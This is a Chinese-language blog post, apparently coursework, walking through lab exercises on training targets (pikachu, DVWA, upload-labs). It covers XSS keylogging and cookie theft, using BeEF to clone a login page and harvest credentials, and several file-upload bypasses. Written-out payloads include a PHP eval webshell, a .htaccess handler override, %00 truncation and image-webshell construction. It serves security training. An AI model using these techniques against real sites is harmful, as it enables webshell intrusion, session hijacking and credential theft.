09-XSS鍵盤監聽、cookie竊取&檔案上傳繞過

荔枝在敲诈發表於2024-11-02

1、XSS

(1)使用pikachu平臺練習XSS鍵盤記錄、前臺XSS盲打攻擊獲取cookie,利用cookie實現登入

  • XSS鍵盤記錄

    • docker開啟pikachu靶場,進入pikachu後端修改/var/www/html/pkxss/rkeypress/rk.js檔案

      image-20241101230141655

    • 在儲存型XSS模組輸入payload(以dvwa靶場測試)

      image-20241101230948432

    • 監聽記錄成功

      image-20241101231639997

      image-20241101231246000

  • 獲取cookie資訊實現登入

    • 在pikachu靶場XSS盲打模組輸入盜取cookie的payload

      image-20241101232923786

    • 登入後臺發現插入成功,js程式碼成功被解析(即在xxs後臺cookie收集模組成功盜取到cookie資訊)

      image-20241101233935813

      image-20241101234445680

    • 利用cookie editor 修改cookie,同時改網址為登入後的介面地址

      image-20241101235600388

    • 無需賬號密碼直接登入成功

      image-20241101235819838

(2)使用beef製作釣魚頁面,克隆任意站點的登入頁面並獲取使用者登入的賬號密碼

  • 先首次安裝完成beef後需要修改beef的/usr/share/beef-xss/config.yaml配置檔案(登入密碼修改、監聽地址改成kali的ip地址)

    image-20241102000546748

  • ./beef 啟動beef獲取Hook URL、UI URL、API key等關鍵資訊

    image-20241102001134865

  • 在kali輸入克隆網站payload(以dvwa登入介面為例)

    # <URL of site to clone> 需要克隆的網址
    # <where to mount> 克隆的頁面在伺服器的哪個路徑訪問
    # <BeEFRURL> beef地址
    # <token> 服務啟動時的 beef API key
    curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site
    to clone>", "mount":"<where to mount>"}' -X POST
    http://<BeEFURL>/api/seng/clone_page?token=<token>
    

    image-20241102002328770

  • 克隆頁面成功

    image-20241102002547725

  • 若是使用者在介面輸入賬號和密碼,便可以在beef的日誌資訊裡看到使用者輸入的內容,成功獲取到賬號和密碼

    image-20241102003309609

2、檔案上傳

(1)客戶端繞過練習

  • 這裡用到upload-labs的1關,檢視原始碼發現全片均由js程式碼書寫

    image-20241101163110108

  • 透過F12呼叫控制檯再按F1可以禁用js程式碼

    image-20241101163527206

  • 直接上傳php檔案成功繞過

    image-20241101163809968

(2)服務端黑名單繞過:給出.htaccess檔案繞過的具體步驟

  • 這裡用到upload-labs的4關,檢視原始碼,發現黑名單未校驗 .htaccess 檔案

    image-20241101164914091

  • 上傳.htaccess檔案,檔案內容為(即只要上傳檔名為test.jpg都將當作php格式執行)

    #<!-- .htaccess檔案 -->
    <FilesMatch "test.jpg">
    Sethandler application/x-httpd-php
    </FilesMatch>
    
  • 先將.htaccess檔案上傳,再將寫有<?php phpinfo();?>程式碼的test.jpg上傳,實現成功繞過

    image-20241101170441478

(3)服務端白名單繞過:%00截斷繞過,要求虛擬機器中搭建實驗環境,分別實現GET、POST方法的繞過

  • 使用%00截斷前提:php版本小於5.3.4、php.ini的magic_quotes_gpc為OFF狀態

    • 這裡使用虛擬機器中的win7作業系統,安裝phpstudy後修改版本

      image-20241101171222833

    • 然後對phpstudy的配置檔案php.int進行修改

      image-20241101171549808

  • 這裡檢視虛擬機器的IP地址,開啟phpstudy就可以訪問搭建好的靶場了

  • 對應的是upload-labs的11、12關(區別在於11是GET請求、12是POST請求),檢視原始碼(這裡以11關為例)發現設定了白名單,但是使用抓包可以修改,透過00%截斷的方式修改路徑(符合白名單的同時,還可以上傳自己想要的檔名字及格式)

    image-20241101173908959

    • GET

      • 上傳寫有php程式碼的info.jpg檔案,用burp抓包修改(這裡注意在上傳檔案前需要確保網站目錄下有upload資料夾,不然會因為找不到此目錄而引發報錯)

        image-20241101174759228

      • 上傳成功後,訪問目標地址需要將後面隨機加是數字刪除,真正的檔名是info.php(這裡以自己取的名字為標準)

        image-20241101175537300

    • POST

      • 上傳帶有<?php eval(@$_POST['a']);?>php程式碼的post.png檔案

      • burp抓包,因為是post請求所以利用%00截斷修改路徑在請求正文裡(注意路徑在請求正文裡不會進行URL解碼,所以還需要透過burp對%00進行一次解碼)

        image-20241101211304171

      • 成功繞過拿下

        image-20241101213604076

(4)檔案頭檢查:分別利用3種製作圖片馬的方式實現上傳繞過

  • 這裡用到upload-labs的14關

​ 1-Windows作業系統進行檔案拼接

​ a.在存放有兩張需要拼接的檔案目錄中cmd進入命令視窗中輸入copy /b bob.jpg+info.php bob1.jpg拼接生成bob1.jpg檔案

​ b.上傳成功

image-20241101215755039

​ c.透過檔案包含漏洞檢視圖片馬

image-20241101220201108

​ 2-直接使用16進位制編輯工具

​ a.在圖片底部新增一句話木馬

image-20241101221309672

​ b.上傳成功

image-20241101220934595

​ c.透過蟻劍成功拿下

image-20241101221726268

​ 3-直接burp抓包

​ a.在圖片尾部新增一句話木馬

image-20241101224410197

​ b.上傳成功

image-20241101224552101

​ c.透過蟻劍成功拿下

image-20241101224718994

(5)二次渲染繞過

  • 這裡用到upload-labs的17關,檢視原始碼可以發現他將原本的圖片進行了二次渲染後又生成了新圖片

    image-20241101162300524

  • 用010 editor工具將選中圖片轉化為十六進位制編碼,再從中插入<?php phpinfo();?>程式碼(這裡注意插入的位置儘量靠前,以免php程式碼被二次渲染破壞)

    image-20241101160414056

  • 將帶有php程式碼的圖片上傳,使用檔案包含漏洞就可以解析到phpinfo檔案

    image-20241101161652054

相關文章